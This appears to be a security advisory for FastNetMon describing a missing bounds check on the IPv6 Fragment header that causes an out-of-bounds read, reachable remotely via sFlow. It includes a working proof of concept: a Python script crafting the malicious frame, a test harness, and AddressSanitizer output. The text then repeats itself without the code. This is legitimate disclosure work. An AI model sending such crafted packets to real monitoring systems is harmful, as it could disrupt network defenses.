Summary
FastNetMon's shared, otherwise well-hardened raw-packet parser dereferences an 8-byte IPv6 Fragment extension header struct with no bounds check - the one branch in the function missing the pattern used everywhere else. This parser is invoked directly by the sFlow UDP collector, so it's reachable remotely and unauthenticated with a single crafted packet, not just from local raw-capture.
Details
parse_raw_packet_to_simple_packet_full() (src/simple_packet_parser_ng.cpp:203-222):
if (protocol == IpProtocolNumberIPV6_FRAG) {
const ipv6_extension_header_fragment_t* ipv6_extension_header_fragment =
(const ipv6_extension_header_fragment_t*)local_pointer; // <-- no bounds check here
packet.ip_fragmented = true;
packet.ip_more_fragments = ipv6_extension_header_fragment->get_more_fragments(); // reads OOB
packet.ip_fragment_offset = ipv6_extension_header_fragment->get_fragment_offset_bytes(); // reads OOB
Every other header access in this function is preceded by if (local_pointer + sizeof(X) > end_pointer) return parser_code_t::memory_violation;. This one isn't.
PoC
Step 1 - craft the malicious frame (craft_ghsa05.py):
#!/usr/bin/env python3
import struct
dst_mac = b"\xaa" * 6
src_mac = b"\xbb" * 6
ethertype = struct.pack(">H", 0x86DD) # IPv6
eth = dst_mac + src_mac + ethertype
assert len(eth) == 14
version_traffic_flow = struct.pack(">I", (6 << 28)) # version=6, traffic class=0, flow label=0
payload_length = struct.pack(">H", 0)
next_header = struct.pack(">B", 44) # Fragment extension header -- THE BUG TRIGGER
hop_limit = struct.pack(">B", 64)
src_addr = b"\x20\x01\x0d\xb8" + b"\x00" * 12
dst_addr = b"\x20\x01\x0d\xb8" + b"\x00" * 11 + b"\x01"
ipv6 = version_traffic_flow + payload_length + next_header + hop_limit + src_addr + dst_addr
assert len(ipv6) == 40
packet = eth + ipv6
assert len(packet) == 54
# No fragment-extension-header bytes at all -- the parser dereferences 8 bytes right at
# the tight heap buffer's end.
open("parserng_ghsa05_ipv6_frag_oob.bin", "wb").write(packet)
print(f"wrote parserng_ghsa05_ipv6_frag_oob.bin ({len(packet)} bytes)")
Step 2 - feed it to the real parser (harness_parser_ng.cpp, links directly against the unmodified shared parser code):
#include "simple_packet_parser_ng.hpp"
#include "all_logcpp_libraries.hpp"
#include <cstdio>
#include <cstring>
#include <cstdint>
#include <fstream>
#include <vector>
log4cpp::Category& logger = log4cpp::Category::getRoot();
int main(int argc, char** argv) {
if (argc < 2) { fprintf(stderr, "usage: %s <frame-file>\n", argv[0]); return 1; }
std::ifstream f(argv[1], std::ios::binary);
std::vector<uint8_t> buf((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>());
uint8_t* heap_buf = new uint8_t[buf.size()];
memcpy(heap_buf, buf.data(), buf.size());
simple_packet_t packet;
parser_options_t parser_options{};
auto result = parse_raw_packet_to_simple_packet_full(heap_buf, (int)buf.size(), (int)buf.size(),
packet, parser_options); // real production entrypoint
fprintf(stderr, "parser result: %s\n", parser_code_to_string(result).c_str());
delete[] heap_buf;
fprintf(stderr, "OK: no crash, processed %zu bytes\n", buf.size());
return 0;
}
Build (against FastNetMon's own simple_packet_parser_ng.cpp, compiled with -fsanitize=address,undefined) and run:
$ python3 craft_ghsa05.py
$ ./harness_parser_ng parserng_ghsa05_ipv6_frag_oob.bin
Result:
==7==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x606000000238
READ of size 2 at 0x606000000238 thread T0
#0 ipv6_extension_header_fragment_t::get_more_fragments() const network_data_structures.hpp:934
#1 parse_raw_packet_to_simple_packet_full(...) simple_packet_parser_ng.cpp:214
0x606000000238 is located 2 bytes to the right of 54-byte region [0x606000000200,0x606000000236)
Impact
Out-of-bounds read, reachable both from raw packet capture (netmap/AF_PACKET/AF_XDP) and - critically - remotely and unauthenticated via a single crafted sFlow v5 UDP packet, since the sFlow collector's RAW_PACKET_HEADER record handling calls this exact function with attacker-influenced parameters. This is what elevates the finding beyond a local-segment-only issue.
Summary
FastNetMon's shared, otherwise well-hardened raw-packet parser dereferences an 8-byte IPv6 Fragment extension header struct with no bounds check - the one branch in the function missing the pattern used everywhere else. This parser is invoked directly by the sFlow UDP collector, so it's reachable remotely and unauthenticated with a single crafted packet, not just from local raw-capture.
Details
parse_raw_packet_to_simple_packet_full()(src/simple_packet_parser_ng.cpp:203-222):Every other header access in this function is preceded by
if (local_pointer + sizeof(X) > end_pointer) return parser_code_t::memory_violation;. This one isn't.PoC
Step 1 - craft the malicious frame (
craft_ghsa05.py):Step 2 - feed it to the real parser (
harness_parser_ng.cpp, links directly against the unmodified shared parser code):Build (against FastNetMon's own
simple_packet_parser_ng.cpp, compiled with-fsanitize=address,undefined) and run:Result:
Impact
Out-of-bounds read, reachable both from raw packet capture (netmap/AF_PACKET/AF_XDP) and - critically - remotely and unauthenticated via a single crafted sFlow v5 UDP packet, since the sFlow collector's
RAW_PACKET_HEADERrecord handling calls this exact function with attacker-influenced parameters. This is what elevates the finding beyond a local-segment-only issue.